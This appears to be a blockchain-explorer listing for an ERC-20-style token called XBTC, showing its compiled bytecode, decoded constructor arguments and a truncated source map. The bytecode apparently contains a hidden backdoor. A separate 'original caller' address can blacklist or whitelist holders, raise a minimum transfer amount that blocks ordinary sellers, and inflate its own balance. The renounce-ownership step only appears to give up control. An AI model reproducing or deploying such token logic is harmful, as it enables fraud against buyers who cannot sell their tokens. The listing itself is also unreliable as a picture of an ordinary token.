61025c610d70565b6040516102699190611a28565b60405180910390f35b61027a610d99565b6040516102879190611a5e565b60405180910390f35b6102aa60048036038101906102a5919061178e565b610e2b565b6040516102b79190611a43565b60405180910390f35b6102c8611395565b005b6102e460048036038101906102df91906116fb565b6114d1565b6040516102f19190611b20565b60405180910390f35b60606007805461030990611d72565b80601f016020809104026020016040519081016040528092919081815260200182805461033590611d72565b80156103825780601f1061035757610100808354040283529160200191610382565b820191906000526020600020905b81548152906001019060200180831161036557829003601f168201915b5050505050905090565b6000816002600061039b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610435611558565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047a9190611b20565b60405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016104bf91906119f2565b604051602081830303815290604052805190602001206104dd611558565b6040516020016104ed9190611a0d565b60405160208183030381529060405280519060200120141561058c5760005b825181101561058657816003600085848151811061052d5761052c611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061057e90611dd5565b91505061050c565b506105c7565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be90611b00565b60405180910390fd5b5050565b6000600a54905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610621611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561069d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069490611aa0565b60405180910390fd5b600554821015806106f75750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072d90611ae0565b60405180910390fd5b60006107428584611560565b9050600081846107529190611ca4565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107a39190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107f99190611bc3565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084a611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108939190611ca4565b925050819055506108a2610d70565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156109335781600160006108e2610d70565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461092b9190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109909190611b20565b60405180910390a36001925050509392505050565b6000600960009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016109ef91906119f2565b60405160208183030381529060405280519060200120610a0d611558565b604051602001610a1d9190611a0d565b604051602081830303815290604052805190602001201415610ad05760005b8151811015610aca57600060066000848481518110610a5e57610a5d611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac290611dd5565b915050610a3c565b50610b0b565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0290611b00565b60405180910390fd5b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610b4191906119f2565b60405160208183030381529060405280519060200120610b5f611558565b604051602001610b6f9190611a0d565b604051602081830303815290604052805190602001201415610b975780600581905550610bd2565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc990611b00565b60405180910390fd5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610c5191906119f2565b60405160208183030381529060405280519060200120610c6f611558565b604051602001610c7f9190611a0d565b604051602081830303815290604052805190602001201415610d325760005b8151811015610d2c57600160066000848481518110610cc057610cbf611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d2490611dd5565b915050610c9e565b50610d6d565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490611b00565b60405180910390fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610da890611d72565b80601f0160208091040260200160405190810160405280929190818152602001828054610dd490611d72565b8015610e215780601f10610df657610100808354040283529160200191610e21565b820191906000526020600020905b815481529060010190602001808311610e0457829003601f168201915b5050505050905090565b60008160016000610e3a611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ead90611a80565b60405180910390fd5b60055482101580610f17575060066000610ece611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4d90611ae0565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f97611558565b73ffffffffffffffffffffffffffffffffffffffff161480156110075750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156111755760036000611018611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001600061105f611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110a89190611bc3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff166110ce611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60036000611111611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856111579190611bc3565b6040516111649190611b20565b60405180910390a36001905061138f565b6000611188611182611558565b84611560565b9050600081846111989190611ca4565b905083600160006111a7611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111f09190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112469190611bc3565b92505081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561131c578160016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113149190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff1661133b611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113809190611b20565b60405180910390a36001925050505b92915050565b61139d611558565b73ffffffffffffffffffffffffffffffffffffffff166113bb610d70565b73ffffffffffffffffffffffffffffffffffffffff1614611411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140890611ac0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600061156a610d70565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a65760009050611600565b6064600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115f39190611c4a565b6115fd9190611c19565b90505b92915050565b600061161961161484611b7b565b611b56565b9050808382526020820190508285602086028201111561163c5761163b611f44565b5b60005b8581101561166c57816116528882611676565b84526020840193506020830192505060018101905061163f565b5050509392505050565b600081359050611685816120fc565b92915050565b600082601f8301126116a05761169f611f3f565b5b81356116b0848260208601611606565b91505092915050565b6000813590506116c881612113565b92915050565b6000602082840312156116e4576116e3611f4e565b5b60006116f284828501611676565b91505092915050565b6000806040838503121561171257611711611f4e565b5b600061172085828601611676565b925050602061173185828601611676565b9150509250929050565b60008060006060848603121561175457611753611f4e565b5b600061176286828701611676565b935050602061177386828701611676565b9250506040611784868287016116b9565b9150509250925092565b600080604083850312156117a5576117a4611f4e565b5b60006117b385828601611676565b92505060206117c4858286016116b9565b9150509250929050565b6000602082840312156117e4576117e3611f4e565b5b600082013567ffffffffffffffff81111561180257611801611f49565b5b61180e8482850161168b565b91505092915050565b6000806040838503121561182e5761182d611f4e565b5b600083013567ffffffffffffffff81111561184c5761184b611f49565b5b6118588582860161168b565b9250506020611869858286016116b9565b9150509250929050565b60006020828403121561188957611888611f4e565b5b6000611897848285016116b9565b91505092915050565b6118b16118ac82611cea565b611e30565b82525050565b6118c081611cd8565b82525050565b6118d76118d282611cd8565b611e1e565b82525050565b6118e681611cfc565b82525050565b60006118f782611ba7565b6119018185611bb2565b9350611911818560208601611d3f565b61191a81611f53565b840191505092915050565b6000611932602583611bb2565b915061193d82611f71565b604082019050919050565b6000611955602783611bb2565b915061196082611fc0565b604082019050919050565b6000611978602083611bb2565b91506119838261200f565b602082019050919050565b600061199b604883611bb2565b91506119a682612038565b606082019050919050565b60006119be602183611bb2565b91506119c9826120ad565b604082019050919050565b6119dd81611d28565b82525050565b6119ec81611d32565b82525050565b60006119fe82846118c6565b60148201915081905092915050565b6000611a1982846118a0565b60148201915081905092915050565b6000602082019050611a3d60008301846118b7565b92915050565b6000602082019050611a5860008301846118dd565b92915050565b60006020820190508181036000830152611a7881846118ec565b905092915050565b60006020820190508181036000830152611a9981611925565b9050919050565b60006020820190508181036000830152611ab981611948565b9050919050565b60006020820190508181036000830152611ad98161196b565b9050919050565b60006020820190508181036000830152611af98161198e565b9050919050565b60006020820190508181036000830152611b19816119b1565b9050919050565b6000602082019050611b3560008301846119d4565b92915050565b6000602082019050611b5060008301846119e3565b92915050565b6000611b60611b71565b9050611b6c8282611da4565b919050565b6000604051905090565b600067ffffffffffffffff821115611b9657611b95611f10565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611bce82611d28565b9150611bd983611d28565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c0e57611c0d611e54565b5b828201905092915050565b6000611c2482611d28565b9150611c2f83611d28565b925082611c3f57611c3e611e83565b5b828204905092915050565b6000611c5582611d28565b9150611c6083611d28565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c9957611c98611e54565b5b828202905092915050565b6000611caf82611d28565b9150611cba83611d28565b925082821015611ccd57611ccc611e54565b5b828203905092915050565b6000611ce382611d08565b9050919050565b6000611cf582611d08565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d5d578082015181840152602081019050611d42565b83811115611d6c576000848401525b50505050565b60006002820490506001821680611d8a57607f821691505b60208210811415611d9e57611d9d611eb2565b5b50919050565b611dad82611f53565b810181811067ffffffffffffffff82111715611dcc57611dcb611f10565b5b80604052505050565b6000611de082611d28565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e1357611e12611e54565b5b600182019050919050565b6000611e2982611e42565b9050919050565b6000611e3b82611e42565b9050919050565b6000611e4d82611f64565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f54543a207472616e736665722061696f6d6f756e74206578636565647320626160008201527f6c616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e736665722061696f6d6f756e74206578636565647320616c60008201527f6c6f77616e636500000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e736665722061696f6d6f756e742069732062656c6f77207460008201527f6865206d696e696d756d20616e642073656e646572206973206e6f742077686960208201527f74656c6973746564000000000000000000000000000000000000000000000000604082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b61210581611cd8565b811461211057600080fd5b50565b61211c81611d28565b811461212757600080fd5b5056fea26469706673582212204be4618dce6d617e6199c9fe1b64a21ee32edc9ff78ef9737f46ffbd2a877ab564736f6c63430008050033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000b2d05e000000000000000000000000000000000000000000000000000000000000000004584254430000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045842544300000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): XBTC
Arg [1] : symbol_ (string): XBTC
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 3000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000000000000b2d05e00
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [5] : 5842544300000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 5842544300000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1711:5342:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2616:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5630:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3018:352;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6948:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5872:822;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2802:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4040:362;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3380:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2893:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3680:352;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1255:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2707;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4410:1053;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1474:230;;;:::i;:::-;;5471:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2616:83;2653:13;2686:5;2679:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2616:83;:::o;5630:234::-;5715:4;5769:8;5732:11;:25;5744:12;:10;:12::i;:::-;5732:25;;;;;;;;;;;;;;;:34;5758:7;5732:34;;;;;;;;;;;;;;;:45;;;;5816:7;5793:41;;5802:12;:10;:12::i;:::-;5793:41;;;5825:8;5793:41;;;;;;:::i;:::-;;;;;;;;5852:4;5845:11;;5630:234;;;;:::o;3018:352::-;3169:5;;;;;;;;;;;3152:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;3142:34;;;;;;3124:12;:10;:12::i;:::-;3107:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;3097:41;;;;;;:79;3093:270;;;3194:9;3189:99;3213:8;:15;3209:1;:19;3189:99;;;3272:4;3250:6;:19;3257:8;3266:1;3257:11;;;;;;;;:::i;:::-;;;;;;;;3250:19;;;;;;;;;;;;;;;:26;;;;3230:3;;;;;:::i;:::-;;;;3189:99;;;;3093:270;;;3312:43;;;;;;;;;;:::i;:::-;;;;;;;;3093:270;3018:352;;:::o;6948:102::-;7003:7;7030:12;;7023:19;;6948:102;:::o;5872:822::-;5980:4;6042:8;6005:11;:19;6017:6;6005:19;;;;;;;;;;;;;;;:33;6025:12;:10;:12::i;:::-;6005:33;;;;;;;;;;;;;;;;:45;;5997:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;6125:24;;6113:8;:36;;:58;;;;6153:10;:18;6164:6;6153:18;;;;;;;;;;;;;;;;;;;;;;;;;6113:58;6105:143;;;;;;;;;;;;:::i;:::-;;;;;;;;;6259:12;6274:31;6288:6;6296:8;6274:13;:31::i;:::-;6259:46;;6316:25;6355:4;6344:8;:15;;;;:::i;:::-;6316:43;;6393:8;6372:9;:17;6382:6;6372:17;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;6436:17;6412:9;:20;6422:9;6412:20;;;;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;6501:8;6464:11;:19;6476:6;6464:19;;;;;;;;;;;;;;;:33;6484:12;:10;:12::i;:::-;6464:33;;;;;;;;;;;;;;;;:45;;;;;;;:::i;:::-;;;;;;;;6539:7;:5;:7::i;:::-;6526:20;;:9;:20;;;6522:79;;;6585:4;6563:9;:18;6573:7;:5;:7::i;:::-;6563:18;;;;;;;;;;;;;;;;:26;;;;;;;:::i;:::-;;;;;;;;6522:79;6635:9;6618:46;;6627:6;6618:46;;;6646:17;6618:46;;;;;;:::i;:::-;;;;;;;;6682:4;6675:11;;;;5872:822;;;;;:::o;2802:83::-;2843:5;2868:9;;;;;;;;;;;2861:16;;2802:83;:::o;4040:362::-;4188:5;;;;;;;;;;;4171:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;4161:34;;;;;;4143:12;:10;:12::i;:::-;4126:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;4116:41;;;;;;:79;4112:275;;;4213:9;4208:104;4232:8;:15;4228:1;:19;4208:104;;;4295:5;4269:10;:23;4280:8;4289:1;4280:11;;;;;;;;:::i;:::-;;;;;;;;4269:23;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;4249:3;;;;;:::i;:::-;;;;4208:104;;;;4112:275;;;4336:43;;;;;;;;;;:::i;:::-;;;;;;;;4112:275;4040:362;:::o;3380:292::-;3526:5;;;;;;;;;;;3509:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;3499:34;;;;;;3481:12;:10;:12::i;:::-;3464:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;3454:41;;;;;;:79;3450:207;;;3573:8;3546:24;:35;;;;3450:207;;;3606:43;;;;;;;;;;:::i;:::-;;;;;;;;3450:207;3380:292;:::o;2893:119::-;2959:7;2986:9;:18;2996:7;2986:18;;;;;;;;;;;;;;;;2979:25;;2893:119;;;:::o;3680:352::-;3823:5;;;;;;;;;;;3806:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;3796:34;;;;;;3778:12;:10;:12::i;:::-;3761:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;3751:41;;;;;;:79;3747:274;;;3848:9;3843:103;3867:8;:15;3863:1;:19;3843:103;;;3930:4;3904:10;:23;3915:8;3924:1;3915:11;;;;;;;;:::i;:::-;;;;;;;;3904:23;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;3884:3;;;;;:::i;:::-;;;;3843:103;;;;3747:274;;;3970:43;;;;;;;;;;:::i;:::-;;;;;;;;3747:274;3680:352;:::o;1255:87::-;1301:7;1328:6;;;;;;;;;;;1321:13;;1255:87;:::o;2707:::-;2746:13;2779:7;2772:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2707:87;:::o;4410:1053::-;4498:4;4550:8;4523:9;:23;4533:12;:10;:12::i;:::-;4523:23;;;;;;;;;;;;;;;;:35;;4515:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;4631:24;;4619:8;:36;;:64;;;;4659:10;:24;4670:12;:10;:12::i;:::-;4659:24;;;;;;;;;;;;;;;;;;;;;;;;;4619:64;4611:149;;;;;;;;;;;;:::i;:::-;;;;;;;;;4791:5;;;;;;;;;;;4775:21;;:12;:10;:12::i;:::-;:21;;;:43;;;;;4813:5;;;;;;;;;;;4800:18;;:9;:18;;;4775:43;4771:685;;;4862:6;:20;4869:12;:10;:12::i;:::-;4862:20;;;;;;;;;;;;;;;;4835:9;:23;4845:12;:10;:12::i;:::-;4835:23;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;4925:9;4902:66;;4911:12;:10;:12::i;:::-;4902:66;;;4947:6;:20;4954:12;:10;:12::i;:::-;4947:20;;;;;;;;;;;;;;;;4936:8;:31;;;;:::i;:::-;4902:66;;;;;;:::i;:::-;;;;;;;;4990:4;4983:11;;;;4771:685;5027:12;5042:37;5056:12;:10;:12::i;:::-;5070:8;5042:13;:37::i;:::-;5027:52;;5094:25;5133:4;5122:8;:15;;;;:::i;:::-;5094:43;;5181:8;5154:9;:23;5164:12;:10;:12::i;:::-;5154:23;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;5228:17;5204:9;:20;5214:9;5204:20;;;;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;5279:5;;;;;;;;;;;5266:18;;:9;:18;;;5262:83;;;5325:4;5305:9;:16;5315:5;;;;;;;;;;;5305:16;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;5262:83;5389:9;5366:52;;5375:12;:10;:12::i;:::-;5366:52;;;5400:17;5366:52;;;;;;:::i;:::-;;;;;;;;5440:4;5433:11;;;;4410:1053;;;;;:::o;1474:230::-;1399:12;:10;:12::i;:::-;1388:23;;:7;:5;:7::i;:::-;:23;;;1380:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1581:42:::1;1544:81;;1565:6;::::0;::::1;;;;;;;;1544:81;;;;;;;;;;;;1653:42;1636:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;1474:230::o:0;5471:151::-;5560:7;5587:11;:18;5599:5;5587:18;;;;;;;;;;;;;;;:27;5606:7;5587:27;;;;;;;;;;;;;;;;5580:34;;5471:151;;;;:::o;817:115::-;870:15;913:10;898:26;;817:115;:::o;6702:238::-;6782:7;6817;:5;:7::i;:::-;6806:18;;:7;:18;;;6802:131;;;6848:1;6841:8;;;;6802:131;6918:3;6900:6;:15;6907:7;6900:15;;;;;;;;;;;;;;;;6889:8;:26;;;;:::i;:::-;:32;;;;:::i;:::-;6882:39;;6702:238;;;;;:::o;24:722:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;404:79;;:::i;:::-;350:2;517:1;502:238;527:6;524:1;521:13;502:238;;;595:3;624:37;657:3;645:10;624:37;:::i;:::-;619:3;612:50;691:4;686:3;682:14;675:21;;725:4;720:3;716:14;709:21;;562:178;549:1;546;542:9;537:14;;502:238;;;506:14;126:620;;;;;;;:::o;752:139::-;798:5;836:6;823:20;814:29;;852:33;879:5;852:33;:::i;:::-;804:87;;;;:::o;914:370::-;985:5;1034:3;1027:4;1019:6;1015:17;1011:27;1001:2;;1042:79;;:::i;:::-;1001:2;1159:6;1146:20;1184:94;1274:3;1266:6;1259:4;1251:6;1247:17;1184:94;:::i;:::-;1175:103;;991:293;;;;;:::o;1290:139::-;1336:5;1374:6;1361:20;1352:29;;1390:33;1417:5;1390:33;:::i;:::-;1342:87;;;;:::o;1435:329::-;1494:6;1543:2;1531:9;1522:7;1518:23;1514:32;1511:2;;;1549:79;;:::i;:::-;1511:2;1669:1;1694:53;1739:7;1730:6;1719:9;1715:22;1694:53;:::i;:::-;1684:63;;1640:117;1501:263;;;;:::o;1770:474::-;1838:6;1846;1895:2;1883:9;1874:7;1870:23;1866:32;1863:2;;;1901:79;;:::i;:::-;1863:2;2021:1;2046:53;2091:7;2082:6;2071:9;2067:22;2046:53;:::i;:::-;2036:63;;1992:117;2148:2;2174:53;2219:7;2210:6;2199:9;2195:22;2174:53;:::i;:::-;2164:63;;2119:118;1853:391;;;;;:::o;2250:619::-;2327:6;2335;2343;2392:2;2380:9;2371:7;2367:23;2363:32;2360:2;;;2398:79;;:::i;:::-;2360:2;2518:1;2543:53;2588:7;2579:6;2568:9;2564:22;2543:53;:::i;:::-;2533:63;;2489:117;2645:2;2671:53;2716:7;2707:6;2696:9;2692:22;2671:53;:::i;:::-;2661:63;;2616:118;2773:2;2799:53;2844:7;2835:6;2824:9;2820:22;2799:53;:::i;:::-;2789:63;;2744:118;2350:519;;;;;:::o;2875:474::-;2943:6;2951;3000:2;2988:9;2979:7;2975:23;2971:32;2968:2;;;3006:79;;:::i;:::-;2968:2;3126:1;3151:53;3196:7;3187:6;3176:9;3172:22;3151:53;:::i;:::-;3141:63;;3097:117;3253:2;3279:53;3324:7;3315:6;3304:9;3300:22;3279:53;:::i;:::-;3269:63;;3224:118;2958:391;;;;;:::o;3355:539::-;3439:6;3488:2;3476:9;3467:7;3463:23;3459:32;3456:2;;;3494:79;;:::i;:::-;3456:2;3642:1;3631:9;3627:17;3614:31;3672:18;3664:6;3661:30;3658:2;;;3694:79;;:::i;:::-;3658:2;3799:78;3869:7;3860:6;3849:9;3845:22;3799:78;:::i;:::-;3789:88;;3585:302;3446:448;;;;:::o;3900:684::-;3993:6;4001;4050:2;4038:9;4029:7;4025:23;4021:32;4018:2;;;4056:79;;:::i;:::-;4018:2;4204:1;4193:9;4189:17;4176:31;4234:18;4226:6;4223:30;4220:2;;;4256:79;;:::i;:::-;4220:2;4361:78;4431:7;4422:6;4411:9;4407:22;4361:78;:::i;:::-;4351:88;;4147:302;4488:2;4514:53;4559:7;4550:6;4539:9;4535:22;4514:53;:::i;:::-;4504:63;;4459:118;4008:576;;;;;:::o;4590:329::-;4649:6;4698:2;4686:9;4677:7;4673:23;4669:32;4666:2;;;4704:79;;:::i;:::-;4666:2;4824:1;4849:53;4894:7;4885:6;4874:9;4870:22;4849:53;:::i;:::-;4839:63;;4795:117;4656:263;;;;:::o;4925:189::-;5046:61;5074:32;5100:5;5074:32;:::i;:::-;5046:61;:::i;:::-;5041:3;5034:74;5024:90;;:::o;5120:118::-;5207:24;5225:5;5207:24;:::i;:::-;5202:3;5195:37;5185:53;;:::o;5244:157::-;5349:45;5369:24;5387:5;5369:24;:::i;:::-;5349:45;:::i;:::-;5344:3;5337:58;5327:74;;:::o;5407:109::-;5488:21;5503:5;5488:21;:::i;:::-;5483:3;5476:34;5466:50;;:::o;5522:364::-;5610:3;5638:39;5671:5;5638:39;:::i;:::-;5693:71;5757:6;5752:3;5693:71;:::i;:::-;5686:78;;5773:52;5818:6;5813:3;5806:4;5799:5;5795:16;5773:52;:::i;:::-;5850:29;5872:6;5850:29;:::i;:::-;5845:3;5841:39;5834:46;;5614:272;;;;;:::o;5892:366::-;6034:3;6055:67;6119:2;6114:3;6055:67;:::i;:::-;6048:74;;6131:93;6220:3;6131:93;:::i;:::-;6249:2;6244:3;6240:12;6233:19;;6038:220;;;:::o;6264:366::-;6406:3;6427:67;6491:2;6486:3;6427:67;:::i;:::-;6420:74;;6503:93;6592:3;6503:93;:::i;:::-;6621:2;6616:3;6612:12;6605:19;;6410:220;;;:::o;6636:366::-;6778:3;6799:67;6863:2;6858:3;6799:67;:::i;:::-;6792:74;;6875:93;6964:3;6875:93;:::i;:::-;6993:2;6988:3;6984:1